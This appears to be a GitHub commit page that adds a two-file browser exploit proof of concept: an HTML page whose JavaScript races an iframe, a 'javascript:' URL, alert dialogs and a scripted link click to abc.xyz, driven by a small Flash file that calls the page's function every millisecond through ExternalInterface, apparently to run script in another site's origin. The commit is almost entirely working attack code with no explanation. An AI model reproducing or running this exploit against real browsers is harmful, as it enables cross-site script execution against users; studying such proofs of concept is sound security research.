Commit a714a22 1 parent fea0416 commit a714a22 Copy full SHA for a714a22
File tree 3 files changed +46
-0
lines changed
3 files changed +46
-0
lines changed Original file line number Diff line number Diff line change
1
+ < script >
2
+ if ( location . protocol == 'file:' || ! navigator . plugins . namedItem ( 'Shockwave Flash' ) ) {
3
+ throw alert ( 'HTTP server and Flash are required.' ) ;
4
+ }
5
+
6
+ var flip = 0 ;
7
+ var sl = 0 ;
8
+ var fl = 0 ;
9
+ function f ( ) {
10
+ sl = 1 ;
11
+ if ( flip ) {
12
+ flip = 0 ;
13
+ var a = i . contentDocument . createElement ( 'a' ) ;
14
+ a . href = 'https://abc.xyz' ;
15
+ a . click ( ) ;
16
+ }
17
+ }
18
+
19
+ function go ( ) {
20
+ if ( sl && fl ) {
21
+ clearInterval ( x ) ;
22
+ i = document . createElement ( 'iframe' ) ;
23
+ i . onload = function ( ) {
24
+ i . onload = null ;
25
+ flip = 1 ;
26
+ alert ( 'This is an ordinary alert dialog, nothing to be concerned about.' ) ;
27
+ }
28
+ i . src = 'javascript:alert(location)' ;
29
+ document . documentElement . appendChild ( i ) ;
30
+ }
31
+ }
32
+
33
+ var x = setInterval ( go , 1 ) ;
34
+ </ script >
35
+ < iframe src ="https://abc.xyz " onload ="fl=1 "> </ iframe >
36
+ < object data ="s.swf "> </ object >
Original file line number Diff line number Diff line change
1
+ package {
2
+ import flash.display.* ;
3
+ import flash.external.* ;
4
+ import flash.utils.* ;
5
+ public class s extends Sprite {
6
+ public function s ():void {
7
+ setInterval(ExternalInterface . call , 1 , 'f' );
8
+ }
9
+ }
10
+ }
You can’t perform that action at this time.
0 commit comments